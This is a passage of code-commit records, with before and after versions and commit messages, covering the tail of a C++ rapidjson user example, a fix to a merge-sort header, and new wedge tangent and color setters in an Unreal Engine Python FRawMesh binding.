std::getline(std::cin, name);\n\n    std::cout << \"Phone: \";\n    std::getline(std::cin, line);\n    std::stringstream(line) >> phone;\n\n    std::cout << \"--- Birthday ---\" << std::endl;\n    Date birthday = readDate();\n    std::cout << \"----------------\" << std::endl;\n\n    User result(id, name, phone, birthday);\n    return result;\n}\n\nint main() {\n    User user = readUser();\n    std::cout << user << std::endl;\n\n    {\n        rapidjson::Document doc = user.toJSON();\n        rapidjson::StringBuffer buffer;\n        \/\/ rapidjson::Writer<rapidjson::StringBuffer> writer(buffer);\n        rapidjson::PrettyWriter<rapidjson::StringBuffer> writer(buffer);\n        doc.Accept(writer);\n        std::cout << buffer.GetString() << std::endl;\n\n        User decodedUser = User::fromJSON(doc);\n        std::cout << decodedUser << std::endl;\n    }\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * Created by Liam Huang (Liam0205) on 2018\/10\/17.\n *\/\n\n#ifndef SORTS_MERGE_SORT_HPP_\n#define SORTS_MERGE_SORT_HPP_\n\n#include <functional>\n#include <algorithm>\n#include <iterator>\n#include <vector>\n\nnamespace detail {\ntemplate <typename InputIt1, typename InputIt2, typename OutputIt,\n          typename BinaryPred = std::less<typename std::iterator_traits<InputIt1>::value_type>>\nOutputIt merge(InputIt1 first1, InputIt1 last1,\n               InputIt2 first2, InputIt2 last2,\n               OutputIt d_first,\n               BinaryPred comp = BinaryPred()) {\n    for (; first1 != last1; ++d_first) {\n        if (first2 == last2) {\n            return std::copy(first1, last1, d_first);\n        }\n        if (comp(*first2, *first1)) {\n            *d_first = *first2;\n            ++first2;\n        } else {\n            *d_first = *first1;\n            ++first1;\n        }\n    }\n    return std::copy(first2, last2, d_first);\n}\n}  \/\/ namespace detail\n\ntemplate <typename FrwdIt,\n          typename BinaryPred = std::less<typename std::iterator_traits<FrwdIt>::value_type>>\nvoid merge_sort(FrwdIt first, FrwdIt last, BinaryPred comp = BinaryPred()) {\n    const auto len = std::distance(first, last);\n    if (len <= 1) { return; }\n    auto cut = first + len \/ 2;\n    merge_sort(first, cut, comp);\n    merge_sort(cut, last, comp);\n    std::vector<typename std::iterator_traits<FrwdIt>::value_type> tmp;\n    tmp.reserve(len);\n    detail::merge(first, cut, cut, last, std::back_inserter(tmp), comp);\n    std::copy(tmp.begin(), tmp.end(), first);\n}\n\ntemplate <typename BidirIt,\n          typename BinaryPred = std::less<typename std::iterator_traits<BidirIt>::value_type>>\nvoid inplace_merge_sort(BidirIt first, BidirIt last, BinaryPred comp = BinaryPred()) {\n    const auto len = std::distance(first, last);\n    if (len <= 1) { return; }\n    auto cut = first + len \/ 2;\n    merge_sort(first, cut, comp);\n    merge_sort(cut, last, comp);\n    std::inplace_merge(first, cut, last, comp);\n}\n\n#endif  \/\/ SORTS_MERGE_SORT_HPP_\n\n<commit_msg>Update merge_sort.hpp<commit_after>\/**\n * Created by Liam Huang (Liam0205) on 2018\/10\/17.\n *\/\n\n#ifndef SORTS_MERGE_SORT_HPP_\n#define SORTS_MERGE_SORT_HPP_\n\n#include <functional>\n#include <algorithm>\n#include <iterator>\n#include <vector>\n\nnamespace detail {\ntemplate <typename InputIt1, typename InputIt2, typename OutputIt,\n          typename BinaryPred = std::less<typename std::iterator_traits<InputIt1>::value_type>>\nOutputIt merge(InputIt1 first1, InputIt1 last1,\n               InputIt2 first2, InputIt2 last2,\n               OutputIt d_first,\n               BinaryPred comp = BinaryPred()) {\n    for (; first1 != last1; ++d_first) {\n        if (first2 == last2) {\n            return std::copy(first1, last1, d_first);\n        }\n        if (comp(*first2, *first1)) {\n            *d_first = *first2;\n            ++first2;\n        } else {\n            *d_first = *first1;\n            ++first1;\n        }\n    }\n    return std::copy(first2, last2, d_first);\n}\n}  \/\/ namespace detail\n\ntemplate <typename FrwdIt,\n          typename BinaryPred = std::less<typename std::iterator_traits<FrwdIt>::value_type>>\nvoid merge_sort(FrwdIt first, FrwdIt last, BinaryPred comp = BinaryPred()) {\n    const auto len = std::distance(first, last);\n    if (len <= 1) { return; }\n    auto cut = first + len \/ 2;\n    merge_sort(first, cut, comp);\n    merge_sort(cut, last, comp);\n    std::vector<typename std::iterator_traits<FrwdIt>::value_type> tmp;\n    tmp.reserve(len);\n    detail::merge(first, cut, cut, last, std::back_inserter(tmp), comp);\n    std::copy(tmp.begin(), tmp.end(), first);\n}\n\ntemplate <typename BidirIt,\n          typename BinaryPred = std::less<typename std::iterator_traits<BidirIt>::value_type>>\nvoid inplace_merge_sort(BidirIt first, BidirIt last, BinaryPred comp = BinaryPred()) {\n    const auto len = std::distance(first, last);\n    if (len <= 1) { return; }\n    auto cut = first + len \/ 2;\n    inplace_merge_sort(first, cut, comp);\n    inplace_merge_sort(cut, last, comp);\n    std::inplace_merge(first, cut, last, comp);\n}\n\n#endif  \/\/ SORTS_MERGE_SORT_HPP_\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"UnrealEnginePythonPrivatePCH.h\"\n\n#if WITH_EDITOR\n\nstatic PyObject *py_ue_fraw_mesh_set_vertex_positions(ue_PyFRawMesh *self, PyObject * args) {\n\tPyObject *data;\n\tif (!PyArg_ParseTuple(args, \"O:set_vertex_positions\", &data)) {\n\t\treturn nullptr;\n\t}\n\n\tPyObject *iter = PyObject_GetIter(data);\n\tif (!iter)\n\t\treturn PyErr_Format(PyExc_TypeError, \"argument is not an iterable\");\n\n\tTArray<FVector> vertex;\n\n\tfor (;;) {\n\t\tPyObject *item_x = PyIter_Next(iter);\n\t\tif (!item_x)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_x))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_x = PyNumber_Float(item_x);\n\t\tfloat x = PyFloat_AsDouble(py_x);\n\t\tPy_DECREF(py_x);\n\n\t\tPyObject *item_y = PyIter_Next(iter);\n\t\tif (!item_y)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_y))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_y = PyNumber_Float(item_y);\n\t\tfloat y = PyFloat_AsDouble(py_y);\n\t\tPy_DECREF(py_y);\n\n\t\tPyObject *item_z = PyIter_Next(iter);\n\t\tif (!item_z)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_z))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_z = PyNumber_Float(item_z);\n\t\tfloat z = PyFloat_AsDouble(py_z);\n\t\tPy_DECREF(py_z);\n\n\t\tvertex.Add(FVector(x, y, z));\n\t}\n\n\n\tself->raw_mesh->VertexPositions = vertex;\n\n\tPy_DECREF(iter);\n\n\tPy_RETURN_NONE;\n}\n\nstatic PyObject *py_ue_fraw_mesh_set_wedge_tex_coords(ue_PyFRawMesh *self, PyObject * args) {\n\tPyObject *data;\n\tint index = 0;\n\tif (!PyArg_ParseTuple(args, \"O|i:set_wedge_tex_coords\", &data, &index)) {\n\t\treturn nullptr;\n\t}\n\n\tPyObject *iter = PyObject_GetIter(data);\n\tif (!iter)\n\t\treturn PyErr_Format(PyExc_TypeError, \"argument is not an iterable\");\n\n\tTArray<FVector2D> uv;\n\n\tfor (;;) {\n\t\tPyObject *item_x = PyIter_Next(iter);\n\t\tif (!item_x)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_x))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_x = PyNumber_Float(item_x);\n\t\tfloat x = PyFloat_AsDouble(py_x);\n\t\tPy_DECREF(py_x);\n\n\t\tPyObject *item_y = PyIter_Next(iter);\n\t\tif (!item_y)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_y))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_y = PyNumber_Float(item_y);\n\t\tfloat y = PyFloat_AsDouble(py_y);\n\t\tPy_DECREF(py_y);\n\n\t\tuv.Add(FVector2D(x, y));\n\t}\n\n\n\tself->raw_mesh->WedgeTexCoords[index] = uv;\n\n\tPy_DECREF(iter);\n\n\tPy_RETURN_NONE;\n}\n\nstatic PyObject *py_ue_fraw_mesh_set_wedge_indices(ue_PyFRawMesh *self, PyObject * args) {\n\tPyObject *data;\n\tif (!PyArg_ParseTuple(args, \"O:set_wedge_indices\", &data)) {\n\t\treturn nullptr;\n\t}\n\n\tPyObject *iter = PyObject_GetIter(data);\n\tif (!iter)\n\t\treturn PyErr_Format(PyExc_TypeError, \"argument is not an iterable\");\n\n\tTArray<uint32> indices;\n\n\tfor (;;) {\n\t\tPyObject *item = PyIter_Next(iter);\n\t\tif (!item)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_value = PyNumber_Long(item);\n\t\tuint32 i = PyLong_AsUnsignedLong(py_value);\n\t\tPy_DECREF(py_value);\n\n\t\tindices.Add(i);\n\t}\n\n\n\tself->raw_mesh->WedgeIndices = indices;\n\n\tPy_DECREF(iter);\n\n\tPy_RETURN_NONE;\n}\n\nstatic PyObject *py_ue_fraw_mesh_save_to_static_mesh_source_model(ue_PyFRawMesh *self, PyObject * args) {\n\tPyObject *model;\n\tif (!PyArg_ParseTuple(args, \"O:save_to_static_mesh_source_model\", &model)) {\n\t\treturn nullptr;\n\t}\n\n\tFStaticMeshSourceModel *source_model = ue_py_check_struct<FStaticMeshSourceModel>(model);\n\tif (!source_model)\n\t\treturn PyErr_Format(PyExc_Exception, \"argument is not a FStaticMeshSourceModel\");\n\n\tif (self->raw_mesh->WedgeIndices.Num() >= 3) {\n\t\t\/\/ set default sane values (read: 0) to face materials and smoothing groups\n\t\tif (self->raw_mesh->FaceSmoothingMasks.Num() == 0)\n\t\t\tself->raw_mesh->FaceSmoothingMasks.AddDefaulted(self->raw_mesh->WedgeIndices.Num() \/ 3);\n\t\tif (self->raw_mesh->FaceMaterialIndices.Num() == 0)\n\t\t\tself->raw_mesh->FaceMaterialIndices.AddDefaulted(self->raw_mesh->WedgeIndices.Num() \/ 3);\n\t}\n\n\tif (!self->raw_mesh->IsValidOrFixable())\n\t\treturn PyErr_Format(PyExc_Exception, \"FRawMesh is not valid or fixable\");\n\n\tsource_model->RawMeshBulkData->SaveRawMesh(*self->raw_mesh);\n\n\tPy_RETURN_NONE;\n}\n\nstatic PyObject *py_ue_fraw_mesh_get_wedge_position(ue_PyFRawMesh *self, PyObject * args) {\n\tint index;\n\tif (!PyArg_ParseTuple(args, \"i:get_wedge_position\", &index)) {\n\t\treturn nullptr;\n\t}\n\n\tif (index > self->raw_mesh->WedgeIndices.Num() - 1 || index < 0)\n\t\treturn PyErr_Format(PyExc_IndexError, \"wedge index error\");\n\n\tFVector vec = self->raw_mesh->GetWedgePosition(index);\n\n\treturn py_ue_new_fvector(vec);\n}\n\n\nstatic PyMethodDef ue_PyFRawMesh_methods[] = {\n\t{ \"set_vertex_positions\", (PyCFunction)py_ue_fraw_mesh_set_vertex_positions, METH_VARARGS, \"\" },\n\t{ \"set_wedge_indices\", (PyCFunction)py_ue_fraw_mesh_set_wedge_indices, METH_VARARGS, \"\" },\n\t{ \"set_wedge_tex_coords\", (PyCFunction)py_ue_fraw_mesh_set_wedge_tex_coords, METH_VARARGS, \"\" },\n\t{ \"get_wedge_position\", (PyCFunction)py_ue_fraw_mesh_get_wedge_position, METH_VARARGS, \"\" },\n\t{ \"save_to_static_mesh_source_model\", (PyCFunction)py_ue_fraw_mesh_save_to_static_mesh_source_model, METH_VARARGS, \"\" },\n\t{ NULL }  \/* Sentinel *\/\n};\n\nstatic int ue_py_fraw_mesh_init(ue_PyFRawMesh *self, PyObject *args, PyObject *kwargs) {\n\tself->raw_mesh = new FRawMesh();\n\treturn 0;\n}\n\nstatic void ue_py_fraw_mesh_dealloc(ue_PyFRawMesh *self) {\n\tif (self->raw_mesh)\n\t\tdelete(self->raw_mesh);\n#if PY_MAJOR_VERSION < 3\n\tself->ob_type->tp_free((PyObject*)self);\n#else\n\tPy_TYPE(self)->tp_free((PyObject*)self);\n#endif\n}\n\nstatic PyTypeObject ue_PyFRawMeshType = {\n\tPyVarObject_HEAD_INIT(NULL, 0)\n\t\"unreal_engine.FRawMesh\", \/* tp_name *\/\n\tsizeof(ue_PyFRawMesh),    \/* tp_basicsize *\/\n\t0,                         \/* tp_itemsize *\/\n\t(destructor)ue_py_fraw_mesh_dealloc,   \/* tp_dealloc *\/\n\t0,                         \/* tp_print *\/\n\t0,                         \/* tp_getattr *\/\n\t0,                         \/* tp_setattr *\/\n\t0,                         \/* tp_reserved *\/\n\t0,                         \/* tp_repr *\/\n\t0,                         \/* tp_as_number *\/\n\t0,                         \/* tp_as_sequence *\/\n\t0,                         \/* tp_as_mapping *\/\n\t0,                         \/* tp_hash  *\/\n\t0,                         \/* tp_call *\/\n\t0,                         \/* tp_str *\/\n\t0,                         \/* tp_getattro *\/\n\t0,                         \/* tp_setattro *\/\n\t0,                         \/* tp_as_buffer *\/\n\tPy_TPFLAGS_DEFAULT,        \/* tp_flags *\/\n\t\"Unreal Engine FRawMesh\", \/* tp_doc *\/\n\t0,                         \/* tp_traverse *\/\n\t0,                         \/* tp_clear *\/\n\t0,                         \/* tp_richcompare *\/\n\t0,                         \/* tp_weaklistoffset *\/\n\t0,                         \/* tp_iter *\/\n\t0,                         \/* tp_iternext *\/\n\tue_PyFRawMesh_methods,    \/* tp_methods *\/\n\t0,   \/* tp_members *\/\n\t0,                         \/* tp_getset *\/\n};\n\nvoid ue_python_init_fraw_mesh(PyObject *ue_module) {\n\tue_PyFRawMeshType.tp_new = PyType_GenericNew;;\n\tue_PyFRawMeshType.tp_init = (initproc)ue_py_fraw_mesh_init;\n\tif (PyType_Ready(&ue_PyFRawMeshType) < 0)\n\t\treturn;\n\n\tPy_INCREF(&ue_PyFRawMeshType);\n\tPyModule_AddObject(ue_module, \"FRawMesh\", (PyObject *)&ue_PyFRawMeshType);\n}\n\n#endif\n<commit_msg>exposed more wedge configurations for FRawMesh<commit_after>#include \"UnrealEnginePythonPrivatePCH.h\"\n\n#if WITH_EDITOR\n\nstatic PyObject *py_ue_fraw_mesh_set_vertex_positions(ue_PyFRawMesh *self, PyObject * args) {\n\tPyObject *data;\n\tif (!PyArg_ParseTuple(args, \"O:set_vertex_positions\", &data)) {\n\t\treturn nullptr;\n\t}\n\n\tPyObject *iter = PyObject_GetIter(data);\n\tif (!iter)\n\t\treturn PyErr_Format(PyExc_TypeError, \"argument is not an iterable\");\n\n\tTArray<FVector> vertex;\n\n\tfor (;;) {\n\t\tPyObject *item_x = PyIter_Next(iter);\n\t\tif (!item_x)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_x))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_x = PyNumber_Float(item_x);\n\t\tfloat x = PyFloat_AsDouble(py_x);\n\t\tPy_DECREF(py_x);\n\n\t\tPyObject *item_y = PyIter_Next(iter);\n\t\tif (!item_y)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_y))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_y = PyNumber_Float(item_y);\n\t\tfloat y = PyFloat_AsDouble(py_y);\n\t\tPy_DECREF(py_y);\n\n\t\tPyObject *item_z = PyIter_Next(iter);\n\t\tif (!item_z)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_z))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_z = PyNumber_Float(item_z);\n\t\tfloat z = PyFloat_AsDouble(py_z);\n\t\tPy_DECREF(py_z);\n\n\t\tvertex.Add(FVector(x, y, z));\n\t}\n\n\n\tself->raw_mesh->VertexPositions = vertex;\n\n\tPy_DECREF(iter);\n\n\tPy_RETURN_NONE;\n}\n\nstatic PyObject *py_ue_fraw_mesh_set_wedge_tex_coords(ue_PyFRawMesh *self, PyObject * args) {\n\tPyObject *data;\n\tint index = 0;\n\tif (!PyArg_ParseTuple(args, \"O|i:set_wedge_tex_coords\", &data, &index)) {\n\t\treturn nullptr;\n\t}\n\n\tPyObject *iter = PyObject_GetIter(data);\n\tif (!iter)\n\t\treturn PyErr_Format(PyExc_TypeError, \"argument is not an iterable\");\n\n\tTArray<FVector2D> uv;\n\n\tfor (;;) {\n\t\tPyObject *item_x = PyIter_Next(iter);\n\t\tif (!item_x)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_x))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_x = PyNumber_Float(item_x);\n\t\tfloat x = PyFloat_AsDouble(py_x);\n\t\tPy_DECREF(py_x);\n\n\t\tPyObject *item_y = PyIter_Next(iter);\n\t\tif (!item_y)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_y))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_y = PyNumber_Float(item_y);\n\t\tfloat y = PyFloat_AsDouble(py_y);\n\t\tPy_DECREF(py_y);\n\n\t\tuv.Add(FVector2D(x, y));\n\t}\n\n\n\tself->raw_mesh->WedgeTexCoords[index] = uv;\n\n\tPy_DECREF(iter);\n\n\tPy_RETURN_NONE;\n}\n\nstatic PyObject *py_ue_fraw_mesh_set_wedge_indices(ue_PyFRawMesh *self, PyObject * args) {\n\tPyObject *data;\n\tif (!PyArg_ParseTuple(args, \"O:set_wedge_indices\", &data)) {\n\t\treturn nullptr;\n\t}\n\n\tPyObject *iter = PyObject_GetIter(data);\n\tif (!iter)\n\t\treturn PyErr_Format(PyExc_TypeError, \"argument is not an iterable\");\n\n\tTArray<uint32> indices;\n\n\tfor (;;) {\n\t\tPyObject *item = PyIter_Next(iter);\n\t\tif (!item)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_value = PyNumber_Long(item);\n\t\tuint32 i = PyLong_AsUnsignedLong(py_value);\n\t\tPy_DECREF(py_value);\n\n\t\tindices.Add(i);\n\t}\n\n\n\tself->raw_mesh->WedgeIndices = indices;\n\n\tPy_DECREF(iter);\n\n\tPy_RETURN_NONE;\n}\n\nstatic PyObject *py_ue_fraw_mesh_save_to_static_mesh_source_model(ue_PyFRawMesh *self, PyObject * args) {\n\tPyObject *model;\n\tif (!PyArg_ParseTuple(args, \"O:save_to_static_mesh_source_model\", &model)) {\n\t\treturn nullptr;\n\t}\n\n\tFStaticMeshSourceModel *source_model = ue_py_check_struct<FStaticMeshSourceModel>(model);\n\tif (!source_model)\n\t\treturn PyErr_Format(PyExc_Exception, \"argument is not a FStaticMeshSourceModel\");\n\n\tif (self->raw_mesh->WedgeIndices.Num() >= 3) {\n\t\t\/\/ set default sane values (read: 0) to face materials and smoothing groups\n\t\tif (self->raw_mesh->FaceSmoothingMasks.Num() == 0)\n\t\t\tself->raw_mesh->FaceSmoothingMasks.AddDefaulted(self->raw_mesh->WedgeIndices.Num() \/ 3);\n\t\tif (self->raw_mesh->FaceMaterialIndices.Num() == 0)\n\t\t\tself->raw_mesh->FaceMaterialIndices.AddDefaulted(self->raw_mesh->WedgeIndices.Num() \/ 3);\n\t}\n\n\tif (!self->raw_mesh->IsValidOrFixable())\n\t\treturn PyErr_Format(PyExc_Exception, \"FRawMesh is not valid or fixable\");\n\n\tsource_model->RawMeshBulkData->SaveRawMesh(*self->raw_mesh);\n\n\tPy_RETURN_NONE;\n}\n\nstatic PyObject *py_ue_fraw_mesh_get_wedge_position(ue_PyFRawMesh *self, PyObject * args) {\n\tint index;\n\tif (!PyArg_ParseTuple(args, \"i:get_wedge_position\", &index)) {\n\t\treturn nullptr;\n\t}\n\n\tif (index > self->raw_mesh->WedgeIndices.Num() - 1 || index < 0)\n\t\treturn PyErr_Format(PyExc_IndexError, \"wedge index error\");\n\n\tFVector vec = self->raw_mesh->GetWedgePosition(index);\n\n\treturn py_ue_new_fvector(vec);\n}\n\nstatic PyObject *py_ue_fraw_mesh_set_wedge_tangent_x(ue_PyFRawMesh *self, PyObject * args) {\n\tPyObject *data;\n\tif (!PyArg_ParseTuple(args, \"O:set_wedge_tangent_x\", &data)) {\n\t\treturn nullptr;\n\t}\n\n\tPyObject *iter = PyObject_GetIter(data);\n\tif (!iter)\n\t\treturn PyErr_Format(PyExc_TypeError, \"argument is not an iterable\");\n\n\tTArray<FVector> vertex;\n\n\tfor (;;) {\n\t\tPyObject *item_x = PyIter_Next(iter);\n\t\tif (!item_x)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_x))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_x = PyNumber_Float(item_x);\n\t\tfloat x = PyFloat_AsDouble(py_x);\n\t\tPy_DECREF(py_x);\n\n\t\tPyObject *item_y = PyIter_Next(iter);\n\t\tif (!item_y)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_y))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_y = PyNumber_Float(item_y);\n\t\tfloat y = PyFloat_AsDouble(py_y);\n\t\tPy_DECREF(py_y);\n\n\t\tPyObject *item_z = PyIter_Next(iter);\n\t\tif (!item_z)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_z))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_z = PyNumber_Float(item_z);\n\t\tfloat z = PyFloat_AsDouble(py_z);\n\t\tPy_DECREF(py_z);\n\n\t\tvertex.Add(FVector(x, y, z));\n\t}\n\n\n\tself->raw_mesh->WedgeTangentX = vertex;\n\n\tPy_DECREF(iter);\n\n\tPy_RETURN_NONE;\n}\n\nstatic PyObject *py_ue_fraw_mesh_set_wedge_tangent_y(ue_PyFRawMesh *self, PyObject * args) {\n\tPyObject *data;\n\tif (!PyArg_ParseTuple(args, \"O:set_wedge_tangent_y\", &data)) {\n\t\treturn nullptr;\n\t}\n\n\tPyObject *iter = PyObject_GetIter(data);\n\tif (!iter)\n\t\treturn PyErr_Format(PyExc_TypeError, \"argument is not an iterable\");\n\n\tTArray<FVector> vertex;\n\n\tfor (;;) {\n\t\tPyObject *item_x = PyIter_Next(iter);\n\t\tif (!item_x)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_x))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_x = PyNumber_Float(item_x);\n\t\tfloat x = PyFloat_AsDouble(py_x);\n\t\tPy_DECREF(py_x);\n\n\t\tPyObject *item_y = PyIter_Next(iter);\n\t\tif (!item_y)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_y))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_y = PyNumber_Float(item_y);\n\t\tfloat y = PyFloat_AsDouble(py_y);\n\t\tPy_DECREF(py_y);\n\n\t\tPyObject *item_z = PyIter_Next(iter);\n\t\tif (!item_z)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_z))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_z = PyNumber_Float(item_z);\n\t\tfloat z = PyFloat_AsDouble(py_z);\n\t\tPy_DECREF(py_z);\n\n\t\tvertex.Add(FVector(x, y, z));\n\t}\n\n\n\tself->raw_mesh->WedgeTangentY = vertex;\n\n\tPy_DECREF(iter);\n\n\tPy_RETURN_NONE;\n}\n\nstatic PyObject *py_ue_fraw_mesh_set_wedge_tangent_z(ue_PyFRawMesh *self, PyObject * args) {\n\tPyObject *data;\n\tif (!PyArg_ParseTuple(args, \"O:set_wedge_tangent_z\", &data)) {\n\t\treturn nullptr;\n\t}\n\n\tPyObject *iter = PyObject_GetIter(data);\n\tif (!iter)\n\t\treturn PyErr_Format(PyExc_TypeError, \"argument is not an iterable\");\n\n\tTArray<FVector> vertex;\n\n\tfor (;;) {\n\t\tPyObject *item_x = PyIter_Next(iter);\n\t\tif (!item_x)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_x))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_x = PyNumber_Float(item_x);\n\t\tfloat x = PyFloat_AsDouble(py_x);\n\t\tPy_DECREF(py_x);\n\n\t\tPyObject *item_y = PyIter_Next(iter);\n\t\tif (!item_y)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_y))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_y = PyNumber_Float(item_y);\n\t\tfloat y = PyFloat_AsDouble(py_y);\n\t\tPy_DECREF(py_y);\n\n\t\tPyObject *item_z = PyIter_Next(iter);\n\t\tif (!item_z)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_z))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_z = PyNumber_Float(item_z);\n\t\tfloat z = PyFloat_AsDouble(py_z);\n\t\tPy_DECREF(py_z);\n\n\t\tvertex.Add(FVector(x, y, z));\n\t}\n\n\n\tself->raw_mesh->WedgeTangentZ = vertex;\n\n\tPy_DECREF(iter);\n\n\tPy_RETURN_NONE;\n}\n\n\nstatic PyObject *py_ue_fraw_mesh_set_wedge_colors(ue_PyFRawMesh *self, PyObject * args) {\n\tPyObject *data;\n\tif (!PyArg_ParseTuple(args, \"O:set_wedge_colors\", &data)) {\n\t\treturn nullptr;\n\t}\n\n\tPyObject *iter = PyObject_GetIter(data);\n\tif (!iter)\n\t\treturn PyErr_Format(PyExc_TypeError, \"argument is not an iterable\");\n\n\tTArray<FColor> colors;\n\n\tfor (;;) {\n\t\tPyObject *item_x = PyIter_Next(iter);\n\t\tif (!item_x)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_x))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_x = PyNumber_Long(item_x);\n\t\tuint8 x = PyLong_AsUnsignedLong(py_x);\n\t\tPy_DECREF(py_x);\n\n\t\tPyObject *item_y = PyIter_Next(iter);\n\t\tif (!item_y)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_y))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_y = PyNumber_Long(item_y);\n\t\tuint8 y = PyLong_AsUnsignedLong(py_y);\n\t\tPy_DECREF(py_y);\n\n\t\tPyObject *item_z = PyIter_Next(iter);\n\t\tif (!item_z)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_z))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_z = PyNumber_Long(item_z);\n\t\tuint8 z = PyLong_AsUnsignedLong(py_z);\n\t\tPy_DECREF(py_z);\n\n\t\tPyObject *item_a = PyIter_Next(iter);\n\t\tif (!item_a)\n\t\t\tbreak;\n\t\tif (!PyNumber_Check(item_a))\n\t\t\treturn PyErr_Format(PyExc_Exception, \"argument iterable does not contains only numbers\");\n\t\tPyObject *py_a = PyNumber_Long(item_a);\n\t\tuint8 a = PyLong_AsUnsignedLong(py_a);\n\t\tPy_DECREF(py_a);\n\n\t\tcolors.Add(FColor(x, y, z, a));\n\t}\n\n\n\tself->raw_mesh->WedgeColors = colors;\n\n\tPy_DECREF(iter);\n\n\tPy_RETURN_NONE;\n}\n\n\nstatic PyMethodDef ue_PyFRawMesh_methods[] = {\n\t{ \"set_vertex_positions\", (PyCFunction)py_ue_fraw_mesh_set_vertex_positions, METH_VARARGS, \"\" },\n\t{ \"set_wedge_indices\", (PyCFunction)py_ue_fraw_mesh_set_wedge_indices, METH_VARARGS, \"\" },\n\t{ \"set_wedge_tex_coords\", (PyCFunction)py_ue_fraw_mesh_set_wedge_tex_coords, METH_VARARGS, \"\" },\n\t{ \"set_wedge_tangent_x\", (PyCFunction)py_ue_fraw_mesh_set_wedge_tangent_x, METH_VARARGS, \"\" },\n\t{ \"set_wedge_tangent_y\", (PyCFunction)py_ue_fraw_mesh_set_wedge_tangent_y, METH_VARARGS, \"\" },\n\t{ \"set_wedge_tangent_z\", (PyCFunction)py_ue_fraw_mesh_set_wedge_tangent_z, METH_VARARGS, \"\" },\n\t{ \"set_wedge_colors\", (PyCFunction)py_ue_fraw_mesh_set_wedge_colors, METH_VARARGS, \"\" },\n\t{ \"get_wedge_position\", (PyCFunction)py_ue_fraw_mesh_get_wedge_position, METH_VARARGS, \"\" },\n\t{ \"save_to_static_mesh_source_model\", (PyCFunction)py_ue_fraw_mesh_save_to_static_mesh_source_model, METH_VARARGS, \"\" },\n\t{ NULL }  \/* Sentinel *\/\n};\n\nstatic int ue_py_fraw_mesh_init(ue_PyFRawMesh *self, PyObject *args, PyObject *kwargs) {\n\tself->raw_mesh = new FRawMesh();\n\treturn 0;\n}\n\nstatic void ue_py_fraw_mesh_dealloc(ue_PyFRawMesh *self) {\n\tif (self->raw_mesh)\n\t\tdelete(self->raw_mesh);\n#if PY_MAJOR_VERSION < 3\n\tself->ob_type->tp_free((PyObject*)self);\n#else\n\tPy_TYPE(self)->tp_free((PyObject*)self);\n#endif\n}\n\nstatic PyTypeObject ue_PyFRawMeshType = {\n\tPyVarObject_HEAD_INIT(NULL, 